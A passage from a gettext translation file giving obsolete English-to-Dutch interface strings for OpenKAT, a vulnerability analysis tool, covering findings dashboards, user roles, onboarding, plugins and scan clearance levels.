\"\"\n#~ \"\\n\"\n#~ \"                        Op deze pagina ziet u een overzicht van de \"\n#~ \"dashboards voor alle organisaties.\\n\"\n#~ \"\\n\"\n#~ \"                        **Meer context kan hier worden gegeven**\\n\"\n#~ \"                    \"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            This table shows the findings that have been \"\n#~ \"identiefied for each organization,\\n\"\n#~ \"                            sorted by the finding types and grouped by \"\n#~ \"organizations.\\n\"\n#~ \"                            This data is based on the latest Crisis Room \"\n#~ \"Findings Report\\n\"\n#~ \"                            of each organization.\\n\"\n#~ \"                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            Deze tabel toont de bevindingen die zijn \"\n#~ \"gevonden voor elke organisatie,\\n\"\n#~ \"\\n\"\n#~ \"                            gesorteerd op bevindingstype en gegroepeerd \"\n#~ \"per organisatie.\\n\"\n#~ \"\\n\"\n#~ \"                            De data is gebaseerd op de meest recente \"\n#~ \"Crisiscentrum bevindingenrapportage\\n\"\n#~ \"\\n\"\n#~ \"                            van elke organisatie.\\n\"\n#~ \"                        \"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    No findings have been identified yet. As soon as they \"\n#~ \"have been\\n\"\n#~ \"                    identified, they will be shown on this page.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                    Er zijn nog geen bevindingen gevonden. Zodra deze \"\n#~ \"gevonden worden,\\n\"\n#~ \"\\n\"\n#~ \"                    worden ze op deze pagina getoond.\\n\"\n#~ \"                \"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                There are no organizations yet. After creating an \"\n#~ \"organization,\\n\"\n#~ \"                the identified findings will be shown here.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                Er zijn nog geen organisaties. Na het aanmaken van een \"\n#~ \"organisatie,\\n\"\n#~ \"\\n\"\n#~ \"                worden de gevonden bevindingen hier getoond.\\n\"\n#~ \"            \"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                                            This table shows the top 25 \"\n#~ \"critical and high findings that have\\n\"\n#~ \"                                            been identified for this \"\n#~ \"organization, grouped by finding types.\\n\"\n#~ \"                                            A table with all the \"\n#~ \"identified findings can be found in the Findings Report.\\n\"\n#~ \"                                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                                            Deze tabel toont de top 25 \"\n#~ \"kritieke en hoog-niveau bevindeingen die\\n\"\n#~ \"\\n\"\n#~ \"                                            voor deze organisatie \"\n#~ \"gevonden zijn, gegroepeerd per bevindingstype.\\n\"\n#~ \"\\n\"\n#~ \"                                            Een tabel met alle gevonden \"\n#~ \"bevindingen kan worden gevonden in de Bevindingenrapportage.\\n\"\n#~ \"                                        \"\n\n#~ msgid \"3: Add Object\"\n#~ msgstr \"3: Object toevoegen\"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                This chapter contains information about the findings that \"\n#~ \"have been identified\\n\"\n#~ \"                for this organization.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                Dit hoofdstuk bevat informatie over de gevonden \"\n#~ \"bevindingen\\n\"\n#~ \"\\n\"\n#~ \"                voor deze organisatie.\\n\"\n#~ \"            \"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                                    This chapter contains information \"\n#~ \"about the findings that have been identified\\n\"\n#~ \"                                    for this organization.\\n\"\n#~ \"                                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                                    Dit hoofdstuk bevat informatie over \"\n#~ \"de bevindingen die zijn gevonden\\n\"\n#~ \"\\n\"\n#~ \"                                    voor deze organisatie.\\n\"\n#~ \"                                \"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                This table shows the top 25 critical and high findings \"\n#~ \"that have\\n\"\n#~ \"                been identified for this organization, grouped by finding \"\n#~ \"types.\\n\"\n#~ \"                A table with all the identified findings can be found in \"\n#~ \"the Findings Report.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                Deze tabel toont de top 25 kritieke en hoog-niveau \"\n#~ \"bevindingen die\\n\"\n#~ \"\\n\"\n#~ \"                voor deze organisatie gevonden zijn, gegroepeerd per \"\n#~ \"bevindingstype.\\n\"\n#~ \"\\n\"\n#~ \"                Een tabel met alle gevonden bevindingen kan in het \"\n#~ \"Bevindingenrapport gevonden worden.\\n\"\n#~ \"            \"\n\n#~ msgid \"\"\n#~ \"The Mail Report provides an overview of the compliance checks associated \"\n#~ \"with e-mail servers. The current compliance checks the presence of SPF, \"\n#~ \"DKIM and DMARC records. The table below shows for each of these checks \"\n#~ \"how many of the identified mail servers are compliant, and if applicable \"\n#~ \"a compliance issue description and risk level. The risk level may be \"\n#~ \"different for your specific environment.\"\n#~ msgstr \"\"\n#~ \"Het mailrapport geeft een overzicht van de compliancecontroles \"\n#~ \"geassocieerd met e-mailservers. De huidige compliancecontroles \"\n#~ \"controleren de aanwezigheid van SPF, DKIM en DMARC. De tabel hieronder \"\n#~ \"toont hoeveel van de geïdentificeerde mailservers compliant zijn, en \"\n#~ \"indien van toepassing, een beschrijving van het complianceprobleem en \"\n#~ \"risiconiveau. Het risiconiveau kan verschillen voor uw specifieke \"\n#~ \"omgeving.\"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            This table provides an overview of the identified findings on \"\n#~ \"the scanned\\n\"\n#~ \"            systems. For each finding type it shows the risk level, the \"\n#~ \"number of occurrences\\n\"\n#~ \"            and the first known occurrence of the finding. The risk level \"\n#~ \"may be different for your specific environment.\\n\"\n#~ \"            The details can be seen when expanding a row. A description, \"\n#~ \"the source, impact and recommendation of the finding\\n\"\n#~ \"            can be found here. It also shows in which findings the \"\n#~ \"finding type occurred.\\n\"\n#~ \"        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"            Deze tabel toont een overzicht van de geïdentificeerde \"\n#~ \"bevindingen op de gescande\\n\"\n#~ \"\\n\"\n#~ \"            systemen. Voor elk bevindingstype wordt het risiconiveau, het \"\n#~ \"aantal gebeurtenissen\\n\"\n#~ \"\\n\"\n#~ \"            en de eerstbekende gebeurtenis van de bevinding getoond. Het \"\n#~ \"getoonde risiconiveau kan afwijken van uw specifieke omgeving.\\n\"\n#~ \"\\n\"\n#~ \"            De details zijn zichtbaar door een rij uit te klappen. Hier \"\n#~ \"vindt u een beschrijving, de bron, impact en aanbeveling voor de \"\n#~ \"bevinding.\\n\"\n#~ \"\\n\"\n#~ \"            Ook wordt getoond in welk bevinding-type de bevinding \"\n#~ \"plaatsvond.\\n\"\n#~ \"        \"\n\n#, fuzzy\n#~ msgid \"Asset reports details:\"\n#~ msgstr \"Asset-rapportdetails\"\n\n#, fuzzy\n#~ msgid \"Asset reports:\"\n#~ msgstr \"Asset-rapporten\"\n\n#~ msgid \"\"\n#~ \"<p>A description of the Boefje explaining in short what it can do. This \"\n#~ \"will both be displayed inside the KAT-alogus and on the Boefje details \"\n#~ \"page.</p> \"\n#~ msgstr \"\"\n#~ \"<p>Een beschrijving van dit Boefje die uitlegt wat het kan doen. Dit \"\n#~ \"wordt zowel in de KAT-alogus als op de Boefje-detailspagina getoond.</p> \"\n\n#~ msgid \"\"\n#~ \"Dozens of tools are integrated in OpenKAT to view the world (digital and \"\n#~ \"analog). <br> Our motto is therefore: I see, I see, what you do not see.\"\n#~ msgstr \"\"\n#~ \"In OpenKAT zijn tientallen tools geïntegreerd om de wereld te bekijken \"\n#~ \"(digitaal en analoog). <br> Ons motto is dan ook: ik zie, ik zie, wat jij \"\n#~ \"niet ziet.\"\n\n#, fuzzy, python-format\n#~ msgid \"An overview of members of <strong>%(organization_name)s</strong>\"\n#~ msgstr \"Een ledenoverzicht van  <strong>%(organization_name)s</strong>\"\n\n#~ msgid \"E-mail\"\n#~ msgstr \"E-mailadres\"\n\n#, python-brace-format\n#~ msgid \"A unique code of {code_length} characters.\"\n#~ msgstr \"Een unieke code van {code_length} tekens.\"\n\n#~ msgid \"\"\n#~ \"I declare that OpenKAT may scan the assets of my organization and that I \"\n#~ \"have permission to scan these assets. I am aware of the implications a \"\n#~ \"scan with a higher scan level brings on my systems.\"\n#~ msgstr \"\"\n#~ \"Ik verklaar dat OpenKAT de assets van mijn organisatie mag scannen en dat \"\n#~ \"ik toestemming heb om deze assets te scannen. Ik ben mij bewust van de \"\n#~ \"implicaties die een scan met een hoger scanniveau heeft op mijn systemen.\"\n\n#~ msgid \"\"\n#~ \"I declare that I am authorized to give this indemnification within my \"\n#~ \"organization. I have the experience and knowledge to know what the \"\n#~ \"consequences might be and can be held responsible for them.\"\n#~ msgstr \"\"\n#~ \"Ik verklaar dat ik bevoegd ben om deze vrijwaring binnen mijn organisatie \"\n#~ \"af te geven. Ik heb de ervaring en de kennis om te weten wat de gevolgen \"\n#~ \"kunnen zijn en kan daarvoor verantwoordelijk worden gehouden.\"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"There are no dashboard items added yet. You can add dashboard items via \"\n#~ \"the filters on the objects and findings page or you can add a report \"\n#~ \"section.\"\n#~ msgstr \"\"\n#~ \"Er zijn nog geen dashboard-onderdelen toegevoegd. Je kunt deze toevoegen \"\n#~ \"via de filters op de objecten- en bevindingen pagina of je kunt een \"\n#~ \"rapportsectie toevoegen.\"\n\n#~ msgid \"Register\"\n#~ msgstr \"Registreren\"\n\n#~ msgid \"Create a new account for your organization\"\n#~ msgstr \"Maak een account aan voor uw organisatie\"\n\n#~ msgid \"\"\n#~ \"All user  accounts are part of an organization. So if you’re new and your \"\n#~ \"company is also new to OpenKAT you can register here to create a OpenKAT \"\n#~ \"account for your company including an admin account for you. If you like \"\n#~ \"a user account that is connected to an already existing organization \"\n#~ \"within OpenKAT you can ask the admin to create an account for you.\"\n#~ msgstr \"\"\n#~ \"Alle gebruikersaccounts maken deel uit van een organisatie. Dus als u \"\n#~ \"nieuw bent en uw organisatie is ook nieuw in OpenKAT, kunt u zich hier \"\n#~ \"registreren om een OpenKAT-account aan te maken inclusief een \"\n#~ \"beheerdersaccount voor u. Als u een gebruikersaccount wilt dat verbonden \"\n#~ \"is met een reeds bestaande organisatie binnen OpenKAT, kunt u de \"\n#~ \"beheerder vragen een account voor u aan te maken.\"\n\n#~ msgid \"How does OpenKAT work\"\n#~ msgstr \"Hoe werkt OpenKAT\"\n\n#~ msgid \"\"\n#~ \"OpenKAT is able to give insight into security risks on your online \"\n#~ \"objects. For example, your websites, mailservers or online data. OpenKAT \"\n#~ \"uses scans to find and assess the area's that might be at risk and \"\n#~ \"reports these back to you. As a user you decide which insight you would \"\n#~ \"like and OpenKAT guides you to through the process. During this \"\n#~ \"introduction you will be guided through the steps to create a report.\"\n#~ msgstr \"\"\n#~ \"OpenKAT kan inzicht geven in beveiligingsrisico’s op uw online objecten. \"\n#~ \"Bijvoorbeeld uw websites, mailservers of online data. OpenKAT gebruikt \"\n#~ \"scans om de risicogebieden te vinden en te beoordelen en rapporteert deze \"\n#~ \"aan u terug. Als gebruiker beslist u welk inzicht u wenst en OpenKAT \"\n#~ \"begeleidt u door het proces. Tijdens deze introductie wordt u door de \"\n#~ \"stappen geleid om een rapport te maken.\"\n\n#~ msgid \"OpenKAT setup\"\n#~ msgstr \"OpenKAT-instellingen\"\n\n#~ msgid \"\"\n#~ \"Please enter the following organization details. These details can be \"\n#~ \"edited within the organization page within OpenKAT when necessary. Adding \"\n#~ \"a new organization requires a new database.\"\n#~ msgstr \"\"\n#~ \"Voer de volgende organisatiegegevens in. Deze gegevens kunnen worden \"\n#~ \"bewerkt indien nodig binnen de organisatiepagina binnen OpenKAT. Een \"\n#~ \"nieuwe organisatie toevoegen heeft een nieuwe database nodig.\"\n\n#~ msgid \"Account setup\"\n#~ msgstr \"Account opzetten\"\n\n#~ msgid \"Organization setup with separate accounts:\"\n#~ msgstr \"Organisatie opzetten met aparte accounts:\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT it is possible to create separate user accounts with the \"\n#~ \"specific roles. Each with their own functionalities and permissions. This \"\n#~ \"is useful when multiple people will be working with the same OpenKAT-\"\n#~ \"setup. You can choose to create the separate accounts during this \"\n#~ \"introduction or when you’re ready from the OpenKAT users page.\"\n#~ msgstr \"\"\n#~ \"Binnen OpenKAT is het mogelijk om aparte gebruikersaccounts aan te maken \"\n#~ \"met de specifieke rollen. Elk met hun eigen functionaliteiten en rechten. \"\n#~ \"Dit is handig als meerdere mensen met dezelfde OpenKAT-instellingen gaan \"\n#~ \"werken. U kunt ervoor kiezen om de aparte accounts aan te maken tijdens \"\n#~ \"deze introductie of wanneer u klaar bent vanuit de OpenKAT-\"\n#~ \"gebruikerspagina.\"\n\n#~ msgid \"Single account setup:\"\n#~ msgstr \"Enkel account instellen:\"\n\n#~ msgid \"\"\n#~ \"Alternatively it is also an option to run OpenKAT from a single user \"\n#~ \"account. Which is useful when you are the only user in the account. You \"\n#~ \"will be able to access the functionality of the different roles from your \"\n#~ \"account. You can always add additional user accounts If you’re team \"\n#~ \"expands in the future.\"\n#~ msgstr \"\"\n#~ \"Het is ook een optie om OpenKAT te draaien vanuit een account van één \"\n#~ \"gebruiker. Dat is handig als u de enige gebruiker bent. U hebt dan \"\n#~ \"toegang tot de functionaliteit van de verschillende rollen vanuit uw \"\n#~ \"account. U kunt altijd extra gebruikersaccounts toevoegen als uw team in \"\n#~ \"de toekomst uitbreidt.\"\n\n#~ msgid \"Create separate accounts\"\n#~ msgstr \"Meerdere accounts aanmaken\"\n\n#~ msgid \"Continue with this account, onboard me!\"\n#~ msgstr \"Ga verder met alleen deze account. Onboard mij!\"\n\n#~ msgid \"Users\"\n#~ msgstr \"Gebruikers\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT there are three types of user accounts. Each has its own \"\n#~ \"functions.\"\n#~ msgstr \"\"\n#~ \"Binnen OpenKAT zijn er drie soorten gebruikersaccounts. Elk heeft zijn \"\n#~ \"eigen functies.\"\n\n#~ msgid \"Admin\"\n#~ msgstr \"Admin\"\n\n#~ msgid \"\"\n#~ \"Each organization must have an admin. The admin can create and manage \"\n#~ \"user accounts as well as organization details.\"\n#~ msgstr \"\"\n#~ \"De admin kan gebruikers aanmaken, beheren en organisatiegegevens wijzigen.\"\n\n#~ msgid \"Red teamer\"\n#~ msgstr \"Red Teamer\"\n\n#~ msgid \"A red teamer account can run scans and generate reports.\"\n#~ msgstr \"Een Red Teamer-account kan scans starten en rapporten aanmaken.\"\n\n#~ msgid \"Client account\"\n#~ msgstr \"Gebruikersaccount\"\n\n#~ msgid \"A client account can access reports.\"\n#~ msgstr \"Een gebruiker kan rapporten inzien.\"\n\n#~ msgid \"\"\n#~ \"Each organization requires at least one admin and one red teamer account \"\n#~ \"to function. This introduction will guide you through the setup of both. \"\n#~ \"After that you can choose to add a client account as well.\"\n#~ msgstr \"\"\n#~ \"Elke organisatie heeft een admin en een Red Teamer nodig. Deze \"\n#~ \"introductie helpt met het aanmaken van deze accounts.\"\n\n#~ msgid \"Let's add accounts\"\n#~ msgstr \"Accounts toevoegen\"\n\n#~ msgid \"Admin account setup\"\n#~ msgstr \"Admin-account instellen\"\n\n#~ msgid \"Admin details\"\n#~ msgstr \"Admindetails\"\n\n#~ msgid \"Skip this step\"\n#~ msgstr \"Overslaan\"\n\n#~ msgid \"Go back to previous step\"\n#~ msgstr \"Ga terug naar de vorige stap\"\n\n#~ msgid \"Red teamer account setup\"\n#~ msgstr \"Red teamer-account instellen\"\n\n#~ msgid \"Red teamer details\"\n#~ msgstr \"Red teamerdetails\"\n\n#~ msgid \"Client account setup (optional)\"\n#~ msgstr \"Gebruikersaccount instellen (optioneel)\"\n\n#~ msgid \"\"\n#~ \"A client account can access reports. Adding a client account to the \"\n#~ \"organization is optional.\"\n#~ msgstr \"Een gebruikersaccount toevoegen is optioneel.\"\n\n#~ msgid \"User details\"\n#~ msgstr \"Gebruikerdetails\"\n\n#~ msgid \"Finish organization setup\"\n#~ msgstr \"Organisatie instellen voltooien\"\n\n#~ msgid \"\"\n#~ \"OpenKAT is the \\\"Kwetsbaarheden Analyse Tool\\\" (Vulnerabilities Analysis \"\n#~ \"Tool). An Open-Source-project developed by the Ministry of Health, \"\n#~ \"Welfare and Sport to make your and our world a safer place.\"\n#~ msgstr \"\"\n#~ \"OpenKAT is de ‘Kwetsbaarheden Analyse Tool’. Een open sourceproject \"\n#~ \"ontwikkeld door het Ministerie van Volksgezondheid, Welzijn en Sport om \"\n#~ \"uw en onze wereld veiliger te maken.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT is able to give insight into security risks on your online \"\n#~ \"objects. For example, your websites, mailservers or online data.\"\n#~ msgstr \"\"\n#~ \"OpenKAT kan inzicht geven in beveiligingsrisico’s op uw online objecten. \"\n#~ \"Bijvoorbeeld uw websites, mailservers of online data.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT uses plugins to find and assess the area's that might be at risk \"\n#~ \"and reports these back to you. Each plugin has its own skillset which \"\n#~ \"could be scanning, normalizing or analyzing data. As a user you decide \"\n#~ \"which areas you would like to monitor or scan and which insight you would \"\n#~ \"like to receive.\"\n#~ msgstr \"\"\n#~ \"OpenKAT gebruikt plug-ins om de risicogebieden te vinden en te beoordelen \"\n#~ \"en rapporteert deze aan u. Elke plug-in heeft zijn eigen vaardigheden, \"\n#~ \"zoals het scannen, normaliseren of analyseren van gegevens. Als gebruiker \"\n#~ \"beslist u welke gebieden u wilt monitoren of scannen en welk inzicht u \"\n#~ \"wilt ontvangen.\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view the insights as well as all the data OpenKAT \"\n#~ \"has found. You can choose to browse through the data or view reports.\"\n#~ msgstr \"\"\n#~ \"Binnen OpenKAT kunt u zowel de inzichten als alle gegevens die OpenKAT \"\n#~ \"heeft gevonden bekijken. U kunt ervoor kiezen door de gegevens te \"\n#~ \"bladeren of rapporten te bekijken.\"\n\n#~ msgid \"\"\n#~ \"During this introduction you will be guided through the steps to create a \"\n#~ \"report.\"\n#~ msgstr \"Deze introductie legt uit hoe u een rapport maakt.\"\n\n#~ msgid \"OpenKAT introduction\"\n#~ msgstr \"Introductie OpenKAT\"\n\n#~ msgid \"Choose a report - Introduction\"\n#~ msgstr \"Kies een rapport – Introductie\"\n\n#~ msgid \"\"\n#~ \"Reports within OpenKAT contain an overview of the scanned objects, issues \"\n#~ \"found within them and known security risks that the object might be \"\n#~ \"vulnerable to. Each report gives a high overview of the state of the \"\n#~ \"object as well as detailed information on what OpenKAT found and possible \"\n#~ \"solutions.\"\n#~ msgstr \"\"\n#~ \"Rapporten binnen OpenKAT bevatten een overzicht van de gescande objecten, \"\n#~ \"de daarin gevonden problemen en bekende beveiligingsrisico’s waarvoor het \"\n#~ \"object kwetsbaar zou kunnen zijn. Elk rapport geeft een hoog overzicht \"\n#~ \"van de toestand van het object en gedetailleerde informatie over wat \"\n#~ \"OpenKAT heeft gevonden en mogelijke oplossingen.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT can scan and analyze by using plugins. Each plugin has it's \"\n#~ \"unique skillset and will collect specific data or give specific insights. \"\n#~ \"You manage the plugins within your account which let's OpenKAT know which \"\n#~ \"plugins to run and on which objects or areas.\"\n#~ msgstr \"\"\n#~ \"OpenKAT kan scannen en analyseren met behulp van plug-ins. Elke plug-in \"\n#~ \"heeft zijn eigen unieke vaardigheden en verzamelt specifieke gegevens of \"\n#~ \"geeft specifieke inzichten. U beheert de plug-ins binnen uw account, \"\n#~ \"waardoor OpenKAT weet welke plug-ins moeten worden uitgevoerd en op welke \"\n#~ \"objecten of gebieden.\"\n\n#~ msgid \"Generating a report\"\n#~ msgstr \"Rapport genereren\"\n\n#~ msgid \"\"\n#~ \"When you choose a report type OpenKAT will guide you through the setup. \"\n#~ \"OpenKAT will ask the necessary questions based on the input the report \"\n#~ \"needs, as well as asks for permission to run plugins that you haven’t \"\n#~ \"enabled yet but are needed to collect or analyze the data.\"\n#~ msgstr \"\"\n#~ \"Wanneer u een rapporttype kiest, zal OpenKAT u begeleiden bij de \"\n#~ \"installatie. OpenKAT stelt de nodige vragen op basis van de invoer die \"\n#~ \"het rapport nodig heeft, en vraagt om toestemming om plug-ins te \"\n#~ \"gebruiken die u nog niet hebt ingeschakeld, maar die nodig zijn om de \"\n#~ \"gegevens te verzamelen of te analyseren.\"\n\n#~ msgid \"\"\n#~ \"You can also choose to look at the collected data directly or generate \"\n#~ \"your own report by selecting and running plugins on objects of your \"\n#~ \"choice. OpenKAT will present the results.\"\n#~ msgstr \"\"\n#~ \"U kunt er ook voor kiezen de verzamelde gegevens direct te bekijken of uw \"\n#~ \"eigen rapport te genereren door plug-ins te selecteren en uit te voeren \"\n#~ \"op objecten van uw keuze. OpenKAT zal de resultaten presenteren.\"\n\n#~ msgid \"Permission\"\n#~ msgstr \"Toestemming\"\n\n#~ msgid \"\"\n#~ \"Plugins can be provided by OpenKAT but they can also come from the \"\n#~ \"community. Before a plugin can run, you need to give it permission by \"\n#~ \"enabling it.\"\n#~ msgstr \"\"\n#~ \"Plug-ins kunnen geleverd worden door OpenKAT, maar ze kunnen ook van de \"\n#~ \"gemeenschap komen. Voordat een plug-in kan draaien, moet u deze \"\n#~ \"toestemming geven door deze in te schakelen.\"\n\n#~ msgid \"\"\n#~ \"When you generate a report. OpenKAT will let you know which plugins it \"\n#~ \"requires or suggests so you can choose to enable them.\"\n#~ msgstr \"\"\n#~ \"Wanneer u een rapport genereert, zal OpenKAT u laten weten welke plug-ins \"\n#~ \"het vereist of voorstelt, zodat u ervoor kunt kiezen om ze in te \"\n#~ \"schakelen.\"\n\n#~ msgid \"Let's choose a report\"\n#~ msgstr \"Kies een rapport\"\n\n#~ msgid \"Choose a report - Type\"\n#~ msgstr \"Kies een rapport – Type\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view reports for each of your current objects. For \"\n#~ \"specific reports you can choose one of the available report types and \"\n#~ \"generate a report. Such as a pentest, a DNS-report or a Mail Report to \"\n#~ \"give some examples.\"\n#~ msgstr \"\"\n#~ \"Binnen OpenKAT kunt u rapporten bekijken voor elk van uw huidige \"\n#~ \"objecten. Voor specifieke rapporten kunt u een van de beschikbare \"\n#~ \"rapporttypes kiezen en een rapport genereren, bijvoorbeeld een pentest, \"\n#~ \"een DNS-rapport of een mailrapport.\"\n\n#~ msgid \"For this tutorial we will create a DNS-report to get you started.\"\n#~ msgstr \"\"\n#~ \"Voor deze uitleg zullen we een DNS-rapport creëren om u op weg te helpen.\"\n\n#~ msgid \"\"\n#~ \"When you start to generate this report. OpenKAT will guide you through \"\n#~ \"the necessary steps.\"\n#~ msgstr \"\"\n#~ \"Wanneer u begint met het genereren van dit rapport, zal OpenKAT u door de \"\n#~ \"nodige stappen leiden.\"\n\n#~ msgid \"Setup scan\"\n#~ msgstr \"Scaninstellingen\"\n\n#~ msgid \"Let OpenKAT know what object to scan\"\n#~ msgstr \"Laat OpenKAT weten welk object gescand moet worden\"\n\n#~ msgid \"\"\n#~ \"Plugins scan and analyze objects. OpenKAT needs to know which object(s) \"\n#~ \"you would like to scan and analyze for the DNS-report. So it can tell you \"\n#~ \"which plugins are available for the chosen object.\"\n#~ msgstr \"\"\n#~ \"Plug-ins scannen en analyseren objecten. OpenKAT moet weten welk(e) \"\n#~ \"object(en) u wilt scannen en analyseren voor het DNS-rapport. Zo kan het \"\n#~ \"u vertellen welke plug-ins beschikbaar zijn voor het gekozen object.\"\n\n#~ msgid \"Understanding objects\"\n#~ msgstr \"Objecten begrijpen\"\n\n#~ msgid \"\"\n#~ \"A lot of things can be an object within the scope of OpenKAT. For example \"\n#~ \"a mailserver, an IP address, a URL, a DNS record, a hostname or a network \"\n#~ \"to name a few.  While these objects can be related to each other they are \"\n#~ \"all objects within OpenKAT that can be scanned to gain valuable insight.\"\n#~ msgstr \"\"\n#~ \"Veel zaken kunnen een object zijn binnen OpenKAT. Bijvoorbeeld een \"\n#~ \"mailserver, een IP-adres, een URL, een DNS-record, een hostnaam of een \"\n#~ \"netwerk om er maar een paar te noemen.  Hoewel deze objecten aan elkaar \"\n#~ \"gerelateerd kunnen zijn, zijn het allemaal objecten binnen OpenKAT die \"\n#~ \"gescand kunnen worden om waardevolle inzichten te verkrijgen.\"\n\n#~ msgid \"Creating, adding and editing objects\"\n#~ msgstr \"Objecten aanmaken en aanpassen\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view, add and edit objects from the organization’s \"\n#~ \"object page.\"\n#~ msgstr \"\"\n#~ \"Binnen OpenKAT kunt u objecten bekijken, toevoegen en bewerken vanuit de \"\n#~ \"objectpagina van de organisatie.\"\n\n#~ msgid \"\"\n#~ \"Let’s add an object to scan for the DNS-Report. For this introduction we \"\n#~ \"suggest adding a URL.\"\n#~ msgstr \"Voeg een object toe voor het DNS-rapport, zoals een URL.\"\n\n#~ msgid \"Create your first object, a URL by filling out the form below.\"\n#~ msgstr \"Maak het eerste object aan door een URL in te vullen.\"\n\n#~ msgid \"\"\n#~ \"Additional details and examples can be found by pressing on the help \"\n#~ \"button next to the input field.\"\n#~ msgstr \"\"\n#~ \"Extra details en voorbeelden zijn te vinden door op de helpknop naast het \"\n#~ \"invoerveld te drukken.\"\n\n#~ msgid \"Dependencies\"\n#~ msgstr \"Afhankelijkheden\"\n\n#~ msgid \"\"\n#~ \"Most objects have dependencies on the existence of other objects. For \"\n#~ \"example a URL needs to be connected to a network, hostname, fqdn (fully \"\n#~ \"qualified domain name) and IP address. OpenKAT collects these additional \"\n#~ \"object automatically when possible. By running plugins to collect or \"\n#~ \"extract this data.\"\n#~ msgstr \"\"\n#~ \"De meeste objecten zijn afhankelijk van het bestaan van andere objecten. \"\n#~ \"Een URL moet bijvoorbeeld verbonden zijn met een netwerk, hostnaam, FQDN \"\n#~ \"(Fully Qualified Domain Name) en IP-adres. OpenKAT verzamelt deze \"\n#~ \"aanvullende objecten waar mogelijk automatisch, door plug-ins uit te \"\n#~ \"voeren die deze gegevens verzamelen of extraheren.\"\n\n#~ msgid \"\"\n#~ \"The additional objects that OpenKAT created will be added to your object \"\n#~ \"list as separate objects. If OpenKAT can’t add them automatically it will \"\n#~ \"guide you through the process of creating them manually.\"\n#~ msgstr \"\"\n#~ \"De extra objecten die OpenKAT heeft gemaakt zullen als afzonderlijke \"\n#~ \"objecten aan uw objectlijst worden toegevoegd. Als OpenKAT ze niet \"\n#~ \"automatisch kan toevoegen, leidt het u door het proces om ze handmatig te \"\n#~ \"maken.\"\n\n#~ msgid \"\"\n#~ \"Based on the url you provided OpenKAT added the necessary additional \"\n#~ \"objects to create a url object.\"\n#~ msgstr \"\"\n#~ \"Op basis van de door u opgegeven URL heeft OpenKAT de nodige extra \"\n#~ \"objecten toegevoegd om een URL-object te maken.\"\n\n#~ msgid \"URL\"\n#~ msgstr \"URL\"\n\n#~ msgid \"Owner\"\n#~ msgstr \"Eigenaar\"\n\n#~ msgid \"Path\"\n#~ msgstr \"Pad\"\n\n#~ msgid \"Hostname\"\n#~ msgstr \"Hostnaam\"\n\n#~ msgid \"scheme\"\n#~ msgstr \"schema\"\n\n#~ msgid \"Network\"\n#~ msgstr \"Netwerk\"\n\n#~ msgid \"Start scanning\"\n#~ msgstr \"Begin met scannen\"\n\n#~ msgid \"OpenKAT Introduction\"\n#~ msgstr \"Inleiding OpenKAT\"\n\n#~ msgid \"Setup scan - OOI clearance for\"\n#~ msgstr \"Opzet scan – OOI-vrijwaring voor\"\n\n#~ msgid \"\"\n#~ \"Some scans are lightweight while others might be a bit more aggressive \"\n#~ \"with their scanning. OpenKAT requires you to set a clearance level for \"\n#~ \"each object to prevent you from unintentionally running aggressive scans. \"\n#~ \"For example you might have the right to run any type of scan on your own \"\n#~ \"server but you probably don’t have the right to do so for objects owned \"\n#~ \"by other people of companies.\"\n#~ msgstr \"\"\n#~ \"Sommige scans zijn licht, terwijl andere wat agressiever scannen. OpenKAT \"\n#~ \"vereist dat u een vrijwaringsniveau instelt voor elk object om te \"\n#~ \"voorkomen dat u onbedoeld agressieve scans uitvoert. U kunt bijvoorbeeld \"\n#~ \"het recht hebben om elk type scan op uw eigen server uit te voeren, maar \"\n#~ \"u hebt waarschijnlijk niet het recht om dat te doen voor objecten die \"\n#~ \"eigendom zijn van andere mensen of bedrijven.\"\n\n#~ msgid \"How to know required clearance level\"\n#~ msgstr \"Hoe kiest u het juiste vrijwaringsniveau\"\n\n#~ msgid \"\"\n#~ \"Each plugin that scans will have a scan intensity score. The intensity of \"\n#~ \"the scan must be equal to or below the clearance level you set for your \"\n#~ \"object. If the scan has an intensity level that is too high, OpenKAT will \"\n#~ \"notify you before running it. Visually clearance levels and intensity \"\n#~ \"scores are indicated with little cat paws.\"\n#~ msgstr \"\"\n#~ \"Elke plug-in die scant krijgt een scanintensiteitsscore. De intensiteit \"\n#~ \"van de scan moet gelijk zijn aan of lager zijn dan het vrijwaringsniveau \"\n#~ \"dat u voor uw object hebt ingesteld. Als de scan een te hoog \"\n#~ \"intensiteitsniveau heeft, zal OpenKAT u waarschuwen voordat het wordt \"\n#~ \"uitgevoerd. Visueel worden vrijwaringsniveaus en intensiteitsscores \"\n#~ \"aangegeven met kleine kattenpootjes.\"\n\n#~ msgid \"\"\n#~ \"This scan has a scan intensity score of 1, requiring a level 1 clearance \"\n#~ \"level to be run. This means that the scan does not touch the object \"\n#~ \"itself, but only searches for information about the object.\"\n#~ msgstr \"\"\n#~ \"Deze scan heeft scanintensiteitsscore 1, waarvoor een vrijwaringsniveau \"\n#~ \"van 